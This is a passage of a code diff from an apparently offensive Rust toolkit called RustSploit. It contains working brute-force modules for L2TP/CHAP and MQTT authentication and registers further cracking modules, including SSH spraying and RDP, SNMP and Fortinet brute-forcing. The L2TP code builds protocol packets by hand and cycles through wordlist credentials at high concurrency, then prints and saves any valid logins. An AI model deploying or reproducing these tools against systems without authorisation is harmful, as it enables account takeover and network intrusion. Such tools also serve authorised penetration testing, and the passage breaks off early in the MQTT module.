|
||||
let mut pkt = Vec::with_capacity(6 + payload.len());
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
|
||||
pkt.extend_from_slice(payload);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build AVP (Attribute-Value Pair)
|
||||
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
|
||||
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
|
||||
let mut avp = Vec::with_capacity(6 + value.len());
|
||||
avp.extend_from_slice(&flags.to_be_bytes());
|
||||
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
|
||||
avp.extend_from_slice(&attr_type.to_be_bytes());
|
||||
avp.extend_from_slice(value);
|
||||
avp
|
||||
}
|
||||
|
||||
/// Send SCCRQ (Start-Control-Connection-Request)
|
||||
fn send_sccrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
// Message Type = SCCRQ
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
|
||||
// Protocol Version = 1.0
|
||||
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
|
||||
// Host Name
|
||||
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
|
||||
// Assigned Tunnel ID
|
||||
avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true));
|
||||
// Receive Window Size
|
||||
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send SCCCN (Start-Control-Connection-Connected)
|
||||
fn send_scccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICRQ (Incoming-Call-Request)
|
||||
fn send_icrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(15, &rand::random::<u32>().to_be_bytes(), true)); // Call Serial Number
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICCN (Incoming-Call-Connected)
|
||||
fn send_iccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
|
||||
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send CHAP Response
|
||||
fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> {
|
||||
// Compute CHAP hash: MD5(identifier + password + challenge)
|
||||
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
|
||||
data.push(identifier);
|
||||
data.extend_from_slice(password.as_bytes());
|
||||
data.extend_from_slice(challenge);
|
||||
let hash = md5::compute(&data);
|
||||
|
||||
// Build CHAP Response packet
|
||||
let name_bytes = username.as_bytes();
|
||||
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
|
||||
|
||||
let mut chap = Vec::new();
|
||||
chap.push(CHAP_RESPONSE);
|
||||
chap.push(identifier);
|
||||
chap.extend_from_slice(&length.to_be_bytes());
|
||||
chap.push(16); // Value size (MD5 = 16 bytes)
|
||||
chap.extend_from_slice(&hash.0);
|
||||
chap.extend_from_slice(name_bytes);
|
||||
|
||||
// Wrap in PPP frame
|
||||
let mut ppp = Vec::new();
|
||||
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
|
||||
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
|
||||
ppp.extend_from_slice(&chap);
|
||||
|
||||
let pkt = self.build_data(&ppp);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Receive and parse L2TP packet
|
||||
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
|
||||
self.sock.set_read_timeout(Some(timeout))?;
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
let n = self.sock.recv(&mut buf)?;
|
||||
|
||||
if n < 6 {
|
||||
return Err(anyhow!("Packet too short"));
|
||||
}
|
||||
|
||||
let flags = u16::from_be_bytes([buf[0], buf[1]]);
|
||||
let is_control = (flags & 0x8000) != 0;
|
||||
let has_length = (flags & 0x4000) != 0;
|
||||
let has_sequence = (flags & 0x0800) != 0;
|
||||
|
||||
let mut offset = 2;
|
||||
|
||||
if has_length {
|
||||
offset += 2;
|
||||
}
|
||||
|
||||
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
|
||||
if has_sequence {
|
||||
offset += 4; // Ns + Nr
|
||||
}
|
||||
|
||||
let payload = buf[offset..n].to_vec();
|
||||
|
||||
Ok(L2tpPacket {
|
||||
is_control,
|
||||
tunnel_id,
|
||||
session_id,
|
||||
payload,
|
||||
})
|
||||
}
|
||||
|
||||
/// Parse control message type from AVPs
|
||||
fn parse_message_type(payload: &[u8]) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
if offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse assigned tunnel/session ID from AVPs
|
||||
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
if offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
struct L2tpPacket {
|
||||
is_control: bool,
|
||||
tunnel_id: u16,
|
||||
session_id: u16,
|
||||
payload: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Main L2TP bruteforce entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for API-provided config
|
||||
let config_api = crate::config::get_module_config();
|
||||
let api_mode = config_api.is_api_mode();
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let port: u16 = if let Some(p) = config_api.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
1701
|
||||
} else {
|
||||
prompt_port("L2TP Port", 1701)?
|
||||
};
|
||||
|
||||
let usernames_file = if let Some(ref f) = config_api.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Username wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist")?
|
||||
};
|
||||
|
||||
let passwords_file = if let Some(ref f) = config_api.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Password wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist")?
|
||||
};
|
||||
|
||||
let concurrency = config_api.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 100).unwrap_or(10) as usize }
|
||||
});
|
||||
let timeout_ms = if api_mode { DEFAULT_TIMEOUT_MS } else {
|
||||
prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000).unwrap_or(DEFAULT_TIMEOUT_MS as i64) as u64
|
||||
};
|
||||
|
||||
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
let save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
|
||||
let save_path = if save_results {
|
||||
Some(config_api.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "l2tp_results.txt".to_string() } else { prompt_default("Output file name", "l2tp_results.txt").unwrap_or_else(|_| "l2tp_results.txt".to_string()) }
|
||||
}))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = config_api.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let addr = format!("{}:{}", normalized, port);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let total_attempts = if combo_mode {
|
||||
users.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(users.len(), passwords.len())
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
|
||||
// Test connectivity first
|
||||
println!("\n[*] Testing L2TP server connectivity...");
|
||||
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
|
||||
Ok(true) => println!("[+] L2TP server is responding"),
|
||||
Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()),
|
||||
Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()),
|
||||
}
|
||||
|
||||
println!("\n{}", "[Starting Attack]".bold().yellow());
|
||||
println!();
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let timeout_duration = Duration::from_millis(timeout_ms);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate credential combinations
|
||||
let combos: Vec<(String, String)> = if combo_mode {
|
||||
users.iter()
|
||||
.flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone())))
|
||||
.collect()
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
(0..max_len)
|
||||
.map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone()))
|
||||
.collect()
|
||||
};
|
||||
|
||||
for (user, pass) in combos {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break,
|
||||
};
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let found_clone = found_credentials.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let stats_clone = stats.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_on_success && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_on_success {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
// Drain completed tasks periodically
|
||||
while tasks.len() >= concurrency * 2 {
|
||||
if let Some(_) = tasks.next().await {}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Test L2TP server connectivity
|
||||
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
|
||||
let result = tokio::task::spawn_blocking({
|
||||
let addr = addr.to_string();
|
||||
move || -> Result<bool> {
|
||||
let sock = UdpSocket::bind("0.0.0.0:0")?;
|
||||
sock.connect(&addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
session.send_sccrq()?;
|
||||
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if pkt.is_control {
|
||||
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
return Ok(msg_type == L2TP_SCCRP);
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
result
|
||||
}
|
||||
|
||||
/// Attempt L2TP login with credentials
|
||||
async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
|
||||
let addr = addr.to_string();
|
||||
let username = username.to_string();
|
||||
let password = password.to_string();
|
||||
|
||||
tokio::task::spawn_blocking(move || {
|
||||
try_l2tp_login_sync(&addr, &username, &password, timeout)
|
||||
}).await?
|
||||
}
|
||||
|
||||
/// Synchronous L2TP login attempt
|
||||
fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
|
||||
let sock = UdpSocket::bind("0.0.0.0:0")?;
|
||||
sock.connect(addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
|
||||
// Step 1: Send SCCRQ
|
||||
session.send_sccrq()?;
|
||||
|
||||
// Step 2: Receive SCCRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if !pkt.is_control {
|
||||
return Err(anyhow!("Expected control message, got data"));
|
||||
}
|
||||
|
||||
match L2tpSession::parse_message_type(&pkt.payload) {
|
||||
Some(L2TP_SCCRP) => {
|
||||
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
|
||||
session.remote_tunnel_id = tid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
|
||||
None => return Err(anyhow!("No message type in response")),
|
||||
}
|
||||
|
||||
// Step 3: Send SCCCN
|
||||
session.send_scccn()?;
|
||||
|
||||
// Step 4: Send ICRQ
|
||||
session.send_icrq()?;
|
||||
|
||||
// Step 5: Receive ICRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if pkt.is_control {
|
||||
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
|
||||
session.remote_session_id = sid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 6: Send ICCN
|
||||
session.send_iccn()?;
|
||||
|
||||
// Step 7: Wait for CHAP Challenge
|
||||
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
|
||||
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && pkt.payload.len() > 6 {
|
||||
// Check for PPP CHAP
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 4 {
|
||||
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
if chap_code == CHAP_CHALLENGE {
|
||||
let identifier = pkt.payload[offset + 3];
|
||||
let value_size = pkt.payload[offset + 6] as usize;
|
||||
if pkt.payload.len() >= offset + 7 + value_size {
|
||||
let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
|
||||
challenge_data = Some((identifier, challenge));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
|
||||
|
||||
// Step 8: Send CHAP Response
|
||||
session.send_chap_response(identifier, &challenge, username, password)?;
|
||||
|
||||
// Step 9: Wait for CHAP Success/Failure
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && pkt.payload.len() > 4 {
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 2 {
|
||||
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
match chap_code {
|
||||
CHAP_SUCCESS => return Ok(true),
|
||||
CHAP_FAILURE => return Ok(false),
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No CHAP response received"))
|
||||
}
|
||||
@@ -3,9 +3,16 @@
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod telnet_hose;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
|
||||
@@ -0,0 +1,605 @@
|
||||
//! MQTT Brute Force Module
|
||||
//!
|
||||
//! High-performance MQTT authentication testing with:
|
||||
//! - TLS/SSL support (port 8883)
|
||||
//! - Anonymous authentication detection
|
||||
//! - Intelligent error classification
|
||||
//! - Progress tracking and statistics
|
||||
//! - Multiple attack modes (full combo, linear, single user/pass)
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
// MQTT Protocol Constants
|
||||
const MQTT_PACKET_CONNECT: u8 = 0x10;
|
||||
const MQTT_PACKET_CONNACK: u8 = 0x20;
|
||||
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
|
||||
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
|
||||
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
|
||||
|
||||
// MQTT Connect Flags
|
||||
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
|
||||
const MQTT_FLAG_USERNAME: u8 = 0x80;
|
||||
const MQTT_FLAG_PASSWORD: u8 = 0x40;
|
||||
|
||||
// MQTT Return Codes
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum MqttReturnCode {
|
||||
Accepted,
|
||||
UnacceptableProtocol,
|
||||
IdentifierRejected,
|
||||
ServerUnavailable,
|
||||
BadCredentials,
|
||||
NotAuthorized,
|
||||
Unknown(u8),
|
||||
}
|
||||
|
||||
impl MqttReturnCode {
|
||||
fn from_byte(b: u8) -> Self {
|
||||
match b {
|
||||
0x00 => Self::Accepted,
|
||||
0x01 => Self::UnacceptableProtocol,
|
||||
0x02 => Self::IdentifierRejected,
|
||||
0x03 => Self::ServerUnavailable,
|
||||
0x04 => Self::BadCredentials,
|
||||
0x05 => Self::NotAuthorized,
|
||||
_ => Self::Unknown(b),
|
||||
}
|
||||
}
|
||||
|
||||
fn is_auth_failure(&self) -> bool {
|
||||
matches!(self, Self::BadCredentials | Self::NotAuthorized)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Accepted => "Connection Accepted",
|
||||
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
|
||||
Self::IdentifierRejected => "Identifier Rejected",
|
||||
Self::ServerUnavailable => "Server Unavailable",
|
||||
Self::BadCredentials => "Bad Username or Password",
|
||||
Self::NotAuthorized => "Not Authorized",
|
||||
Self::Unknown(_) => "Unknown Return Code",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Configuration
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone)]
|
||||
struct MqttConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
use_tls: bool,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
client_id: String,
|
||||
test_anonymous: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Attack Result
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum AttackResult {
|
||||
Success(String, String), // (username, password)
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let normalized_target = normalize_target(&target.to_string())?;
|
||||
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
|
||||
println!();
|
||||
|
||||
// Check for API-provided config
|
||||
let config_api = crate::config::get_module_config();
|
||||
let api_mode = config_api.is_api_mode();
|
||||
|
||||
// Configuration
|
||||
let port = if let Some(p) = config_api.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
1883
|
||||
} else {
|
||||
prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16
|
||||
};
|
||||
|
||||
let use_tls = if api_mode {
|
||||
port == 8883
|
||||
} else if port == 8883 {
|
||||
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
|
||||
true
|
||||
} else {
|
||||
prompt_yes_no("Use TLS/SSL?", false)?
|
||||
};
|
||||
|
||||
let test_anonymous = if api_mode { false } else { prompt_yes_no("Test anonymous authentication first?", true)? };
|
||||
|
||||
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Username wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist file")?
|
||||
};
|
||||
|
||||
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Password wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist file")?
|
||||
};
|
||||
|
||||
let threads = config_api.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 10 } else { prompt_int_range("Concurrent connections", 10, 1, 500).unwrap_or(10) as usize }
|
||||
});
|
||||
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
|
||||
});
|
||||
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Full combination mode (user × pass)?", false).unwrap_or(false) }
|
||||
});
|
||||
let verbose = config_api.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose output?", false).unwrap_or(false) }
|
||||
});
|
||||
let client_id = if api_mode { "rustsploit_mqtt".to_string() } else { prompt_default("MQTT Client ID", "rustsploit_mqtt")? };
|
||||
|
||||
let config = MqttConfig {
|
||||
target: normalized_target,
|
||||
port,
|
||||
use_tls,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
client_id,
|
||||
test_anonymous,
|
||||
};
|
||||
|
||||
run_bruteforce(config, &username_wordlist, &password_wordlist).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan());
|
||||
println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Bruteforce Engine
|
||||
// ============================================================================
|
||||
|
||||
async fn run_bruteforce(
|
||||
config: MqttConfig,
|
||||
username_file: &str,
|
||||
password_file: &str,
|
||||
) -> Result<()> {
|
||||
// Build connection address
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
|
||||
// Load wordlists
|
||||
let usernames = load_lines(username_file)?;
|
||||
let passwords = load_lines(password_file)?;
|
||||
|
||||
if usernames.is_empty() {
|
